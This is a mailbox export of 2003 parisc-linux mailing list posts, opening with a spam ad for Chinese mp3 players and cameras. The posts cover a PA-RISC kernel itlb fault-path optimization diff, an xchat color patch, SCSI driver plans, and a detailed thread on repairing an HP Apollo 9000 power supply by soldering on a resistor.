X-Mailer: FoxMail 4.0 beta 2 [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19264

Dear valued customer,

We are a professional manufacturer of mp3 player, cd/vcd/mp3 player, digital camera and USB 
flash drive in Shenzhen, China.

Please see the price of some products:
mp3 player with digital recorder and USB flash drive
64M 39USD      128M   52USD

cd/vcd/mp3 player (3 function in 1)
21.5USD

digital camera
300K pixels  15.5USD      1.3M pixels    24USD

USB flash drive
64M  17.9USD       128M  29.9USD      256M  54.9USD     

If you have interest, please contacut us and we will give you the detailed catalogue and price 
list. 

We always try our best to attract our clients with unbeatable prices and quality. Our goal is 
to treat every client the same as the most potential business partner.So however the client is 
big or small,we offer the best service. 

Any question, please contact me at any time.
 
Have a nice day!

Best Regards,

Frank Ho
General Manager
HY Technology (Hong Kong) Company Ltd.


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Wed, 20 Aug 2003 15:41:03 -0400
Lines: 125
Approved: news@gmane.org
Message-ID: <20030820194103.GA18688@systemhalted>
References: <20030820192919.0C20349401C@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622700 29785 80.91.229.3 (22 Nov 2014 02:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:20 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 20 13:41:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A79C94848; Wed, 20 Aug 2003 13:41:27 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19pYpL-0002XK-00; Wed, 20 Aug 2003 15:41:03 -0400
Content-Disposition: inline
In-Reply-To: <20030820192919.0C20349401C@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (91% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19265

On Wed, Aug 20, 2003 at 01:29:19PM -0600, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux
> Changes by:	carlos	03/08/20 13:29:19
> 
> Modified files:
> 	arch/parisc/kernel: entry.S 
> 
> Log message:
> itlb_fault optmizaztion

Lamont made a good catch and we optimized the standard case in the itlb
fault fast path, keeping the CPU's forward branch prediction working in
our favour. As such our numbers for various syscalls (LMBENCH tests)
have become more stable from call to call. The best number is our 'page
fault' which has shown a ~10x speedup :) It used to be 130 microseconds
+/- 100 microseconds, and is now consistently ~13 microseconds.

I ran 30 LMBENCH runs, 10 each for the following configurations:
1- ITLB Optimization
2- ITLB Optimization + Removal of a register interlock on the fast path
3- No ITLB Optimization

I've applied #2 to our CVS. Please tell me if anyone sees any breakage.
This runs fine on my C3K.

Cheers,
Carlos.

Index: entry.S
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.98
diff -u -p -r1.98 entry.S
--- entry.S	9 Dec 2002 06:09:08 -0000	1.98
+++ entry.S	12 Aug 2003 03:49:04 -0000
@@ -1469,8 +1469,7 @@ itlb_miss_20w:
 	mfctl           %cr25,ptp	/* load user pgd */
 
 	mfsp            %sr7,t0		/* Get current space */
-	or,*=           %r0,t0,%r0      /* If kernel, nullify following test */
-	cmpb,*<>,n      t0,spc,itlb_fault /* forward */
+	cmpb,<>,n	t0,spc,itlb_user_fault_20w /* forward */
 
 	/* First level page table lookup */
 
@@ -1535,8 +1534,7 @@ itlb_miss_11:
 	mfctl           %cr25,ptp	/* load user pgd */
 
 	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,itlb_fault /* forward */
+	cmpb,<>,n	t0,spc,itlb_user_fault_11 /* forward */
 
 	/* First level page table lookup */
 
@@ -1551,6 +1549,10 @@ itlb_miss_common_11:
 	sh2addl 	 t0,ptp,ptp
 	ldi		_PAGE_ACCESSED,t1
 	ldw		 0(ptp),pte
+
+	/* Running parallel, taken from below 'zdep0' */
+	zdep            spc,30,15,prot  /* create prot id from space */
+
 	bb,>=,n 	 pte,_PAGE_PRESENT_BIT,itlb_fault
 
 	/* Check whether the "accessed" bit was set, otherwise do so */
@@ -1559,7 +1561,7 @@ itlb_miss_common_11:
 	and,<>		t1,pte,%r0	/* test and nullify if already set */
 	stw		t0,0(ptp)	/* write back pte */
 
-	zdep            spc,30,15,prot  /* create prot id from space */
+	/* zdep0 moved back */
 	dep             pte,8,7,prot    /* add in prot bits from pte */
 
 	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
@@ -1602,8 +1604,7 @@ itlb_miss_20:
 	mfctl           %cr25,ptp	/* load user pgd */
 
 	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,itlb_fault /* forward */
+	cmpb,<>,n	t0,spc,itlb_user_fault_20	/* forward */
 
 	/* First level page table lookup */
 
@@ -1882,6 +1883,37 @@ kernel_bad_space:
 dbit_fault:
 	b               intr_save
 	ldi             20,%r8
+
+/* The following three labels relate to an optimization in the itlb handler.
+   itlb_user_fault_20w:
+   itlb_user_fault_20:
+   itlb_user_fault_11:
+   We keep the CPU jumping fwd/bkwd in the common case, and the uncommon case
+   has the cmpb fail (no jump) and thus branch prediction failing. */
+
+#ifdef __LP64__
+itlb_user_fault_20w:
+	/* User tlb missed for other than his own space. Optimization. */
+	cmpb,=		%r0,t0,itlb_miss_common_20w /* backward */
+	nop
+#else
+itlb_user_fault_20:
+	/* User tlb missed for other than his own space. Optimization. */
+	cmpb,=		%r0,t0,itlb_miss_common_20 /* backward */
+	nop
+
+/* FALL THROUGH - We don't care if we run the test twice. If someone
+                  asks to have the "user is faulting death" path optimal
+                  then they should seek help. */
+
+itlb_user_fault_11:
+	/* User tlb missed for other than his own space. Optimization. */
+	cmpb,=		%r0,t0,itlb_miss_common_11 /* backward */
+	nop
+#endif
+
+/* FALL THROUGH - We have a real itlb_fault from one of the above three
+                  label sequences */
 
 itlb_fault:
 	b               intr_save


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: xchat colors
Date: Wed, 20 Aug 2003 23:11:24 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030821051124.GB22498@dsl2.external.hp.com>
References: <20030815172142.GA19042@dsl2.external.hp.com> <F09536E0-CFFC-11D7-B685-000393581E44@speakeasy.net> <20030819050829.GF27208@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622700 29788 80.91.229.3 (22 Nov 2014 02:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 20 23:11:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 72D0C48A7; Wed, 20 Aug 2003 23:11:24 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030819050829.GF27208@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19266

On Mon, Aug 18, 2003 at 11:08:29PM -0600, Grant Grundler wrote:
> I'll submit a patch to xchat so at least it checks the
> gdk return values and complains if it can't get the colors.

patch submitted to debian bug #200903.
IMHO a pathetic patch. If someone is looking for a very small
project, cleaning up xchat color handling would be a good thing.

I just realized that instead of xchat allocating it's own colors,
it might be nice to prompt the user to select from existing "default"
colors. And reduce the number of colors used overall by xchat.

grant


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Thu, 21 Aug 2003 08:21:43 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3F2E2C7700003FE2@ocpmta2.freegates.net>
References: <20030820194103.GA18688@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622701 29792 80.91.229.3 (22 Nov 2014 02:18:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 21 00:21:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 026B148B8
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Aug 2003 00:21:46 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19pimY-0007pk-00; Thu, 21 Aug 2003 08:18:50 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 21 Aug 2003 08:21:43 +0200
In-Reply-To: <20030820194103.GA18688@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19267

>Lamont made a good catch and we optimized the standard case in the itlb
>fault fast path, keeping the CPU's forward branch prediction working in
>our favour. 

That is the very fine state of the art :)

>As such our numbers for various syscalls (LMBENCH tests)
>have become more stable from call to call. The best number is our 'page
>fault' which has shown a ~10x speedup :) It used to be 130 microseconds
>+/- 100 microseconds, and is now consistently ~13 microseconds.

Congratulation, I will try it also on the N (64bits)

Thanks again,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sym53c8xx_2 development
Date: Thu, 21 Aug 2003 22:19:32 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030821211932.GC19630@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622701 29794 80.91.229.3 (22 Nov 2014 02:18:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 21 15:19:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6487F4830
	for <parisc-linux@parisc-linux.org>; Thu, 21 Aug 2003 15:19:34 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19pwqC-0003SV-S5
	for parisc-linux@parisc-linux.org; Thu, 21 Aug 2003 22:19:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19268

Hi.  I've got some changes for the sym53c8xx_2 driver I'm working on.
Does anyone object to me working on them in the parisc 2.6 tree?
Obviously, I'll do my best to not break anything and I'll handle any
merge problems.

We've done this kind of thing before (eg with the pcnet32 driver in 2.4)
but since every PCI-based parisc box uses sym53c8xx_2 for its scsi,
I didn't feel it was appropriate to inflict potentially-buggy changes
on everyone without a little bit of discussion.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Apollo 9000 power problem
Date: Thu, 21 Aug 2003 23:32:52 +0200
Organization: private
Lines: 106
Approved: news@gmane.org
Message-ID: <3F453A84.5040305@gmx.at>
References: <200308182034.QAA13970@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622701 29806 80.91.229.3 (22 Nov 2014 02:18:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 21 15:32:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id E04454843
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Aug 2003 15:32:56 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030821213254.TQGC672.viefep12-int.chello.at@gmx.at>;
          Thu, 21 Aug 2003 23:32:54 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19269

Hello,

of course it is a "hack", but it is a constructive one, not
a bad thing like disconnecting the suppervision or so ...

I have replaced some of the capacitors, but it was not so simple
to detect the one, which has lost a bit of it's fluid ...

The problem is relly the layer of this chemicals of the capacitor and
the dust mixture, which generates the lack current. (I really have
problems to explain this all in English here ....)

I was not my thing to take the power supply out and hold it under
the water to clean, so I tried it with clothes, etc, but - as I
mentioned already in the last mail - some weeks later the problem
occured again. New dust on this checimal stuff .... (or new chemical
stuff ??? ...)

This SIMM-like suppervison thing checks six itmes on the power
supply (the other 6 comperators are use to generate the RESET
signal in case of "power good").

One measures the current. If the input of the comperator increases
2.35V (comming from meassure transformer meassuring the current
of some secondary linesm e.g. 5V, 12V...), then the protection
stops the power supply (the stop is done per thyristor, so one
short "stop" signal hold the power supply down until POFF/PON,
then the cycle starts again).

In idle operation (my test setup was a 10 Ohm + LED to see,
if the power is stable while repairing it), the voltage of
the current transformers is near 0V. All current transformers
have an own diode to one line. So if the output voltage of
the current transformes is lower the e.g. 0.6V (voltage of
the diode), behind the diodes the line has high impedance.
So the very low lack current of the near -12V line can drop
this line easy. If the voltage drops below 0V, the comperator
does not work correctly and asserts the "stop" (although
e.g. -0.5V is below 2.35, which should be OK !).

If there is an over current, there is a voltage on the output
side of the current transformer, and a representative voltage
is on the other side of the diode. This will pull up the the
line up to some voltage (higher than 2.35 leads to the stop ..).

So the 220KOhm resisitor only pulls the high impedance sense
line up against the "dust" resistor. But both "resistors" have
a high value against the output of the over current transformers,
if a big current is comming up.

So this "hack" is acceptable for me.
It was not acceptable for me, to  short-cut or isolate the
over-current protection (I did this for one day for tests, but
I could not live with this feeling, not having this important
protection.

And see the alternative. A new powersupply of this type costs
about 1000 EURO, an "fresh repaied" about 300EURO, an old one
- perhaps having the same problem soon - costs about 150EURO ...

So I am happy to have a correct working power supply with a
full functioning protection and a "well defined" hack !

Ok, I cannot take any warranty for others ..., but I thought,
I know what I am doing.

Further questions are welcome.

Christoph P.





John David Anglin wrote:
> Christoph,
> 
> I saw your recent note on power supply problems.  It looks like
> my 735(730) has suffered a similar failure in the recent blackout.
> The symptoms appear similar to what you described a a couple of
> years ago.  On power up, leds flash for 100-200 ms and then all
> go out.
> 
> Did you replace the failed capacitor?  Adding a resistor between
> the +Vaux line and the current sense line to compensate for leakage
> between the -12V line and the current sense line seems like a
> bit of a hack.
> 
> Do you have docs for the supply?
> 
> Dave
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: Re: Apollo 9000 power problem]
Date: Thu, 21 Aug 2003 23:43:50 +0200
Organization: private
Lines: 277
Approved: news@gmane.org
Message-ID: <3F453D16.8080708@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070102000107000003020209"
X-Trace: ger.gmane.org 1416622702 29809 80.91.229.3 (22 Nov 2014 02:18:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:22 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 21 15:43:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id C10A348C1
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Aug 2003 15:43:55 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030821214352.QELL2268.viefep11-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 21 Aug 2003 23:43:52 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19270

This is a multi-part message in MIME format.
--------------070102000107000003020209
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

So for all in the PARISC group !

I sent this file to MR. Gabert last week.

Here some INPORTANT points:

- I take no warranty in all cases !
- You do the repair on your own risk (for me it was a good solution)
- Check the type of the power supply
	My was a ASTEC Model BM200-3601

- Have fun on testing ...


Bye
Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at

--------------070102000107000003020209
Content-Type: message/rfc822;
 name="Re: Apollo 9000 power problem"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Re: Apollo 9000 power problem"

>From - Thu Aug 14 00:14:28 2003
X-Mozilla-Status2: 00800000
Message-ID: <3F3AB83F.3000408@gmx.at>
Date: Thu, 14 Aug 2003 00:14:23 +0200
From: Christoph Plattner <christoph.plattner@gmx.at>
Organization: private
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Alexander Gabert <pappy@nikita.ath.cx>
Subject: Re: Apollo 9000 power problem
References: <3F32CB8C.9060407@gmx.at> <20030807220208.GA31556@nikita.ath.cx> <3F32CE0B.30902@gmx.at> <20030807223043.GA3631@nikita.ath.cx>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello,
so here the thing you have to do to repair ...

... but before some words:

	- 1 -  I take no warranty to nothing - the hack works for
		well, you can try it.

	- 2 -  My power supply so of the type ASTEC Model BM200-3601
		check the label on the power-supply not to hack around
		on the wrong thing !!

Pull out the power-supply an disconnect the power. Wait for one minute
to have unloaded the capacitors in it after unplugging it from supply.

Unscrew and open power supply. Take out the main board of the supply.
4 Screws have to be opened:


    +----------------------------------------------------------+--
    | O                                                      O |
    |                                                          |
    |                                                          |
    +--+                                                       |low
    |  |                         O                             |voltage
    |  |                                                       |side
    +--+                                                       |
    |                                                        O |
    +----------------------------------------------------------+--	

Remeber the screws, 2 of them do a GROUND connection (the upper 2
on my figure above).

After having the board in the hand, turn around, we only have to
work on the bottom side (soldering side).

The fix has to be done on the low voltage side near the 60-pin
connector. Beside the 60-pin connector, there is this SIMM-like
module, the supervision module. Exactly on the solder side of this
module (bottom side of supply main board) we have to solder on
this resistor.

                         SIMM-like Module on other side
                        /
    ----------------+  /
                    | v	           BOTTOM VIEW !!!
                    +--------------+
                        o     O    |
                        o          |
                  /->O             |
                 /   O             |
                /    O        o   o|  60-pin conector
                |    O   o    o   o| <-----
                |           o o   o|
                |             o   o|
               +-+   O      o o   o|
           220K| |   O      o o   o|
               | |   O        o   o|
               +-+   O      o o   o|
                |    O        o   o|
                |    O        o   o|
                \    O      o o   o|
                 \-->O        o   o|
                     O      o o   o|
                     O        o   o|
                              o   o|
                              o   o|
                              o   o|
                              o   o|
                              o   o|
                            o o   o|
                              o   o|
                            o o   o|
                              o   o|
                     O        o   o|

                            etc ...


Simple solder on this Resistor (220kOhms works for me) between pin-1 and
pin-12 of the SIMM-like module.

Reassemble the powersuplly and it should work !!

BTW: I use something like "Schrumpfschlauch" (the english word ?) on
both connections of the resistor not to have contact to other pins or
the metallic case !!

Good luck,
Christoph.








Alexander Gabert wrote:
> hi,
> 
> i live in Bavaria, Germany, about 1 hour to salzburg...
> and another 2-3 hours to vienna.
> and i would really bring you some good wine or beer if we could do that
> together caus i have really two left hands when it comes to soldering
> around on power supplies :-)
> 
> bye,
> 
> Alex
> 
> On Fri, Aug 08, 2003 at 12:09:15AM +0200, Christoph Plattner wrote:
> 
>>Where do ylu live, what is "cx" ?
>>
>>I live in Vienna !
>>
>>But I do not think it is necessary, that you come.
>>I can make you a small graohic in the mail, where to solder
>>this only one resistor, and which value it should have ...
>>
>>Further it is very simple to open the power supply -
>>but please disconnect the power, I am not responsible for you ...
>>
>>Some minutes ago, I switched on my Apollo, it was for many
>>months now, and it booted up without any problem ....
>>
>>If you are interested, I send you this tomorrow, now is is late
>>to pull out the supply and open it ...
>>
>>Bye
>>Christoph
>>
>>
>>
>>
>>
>>Alexander Gabert wrote:
>>
>>>hi,
>>>
>>>where in austria do you live?
>>>
>>>could i visit you with one of my broken power supplies and bring some
>>>beer for you to repair it for me?
>>>
>>>TIA,
>>>
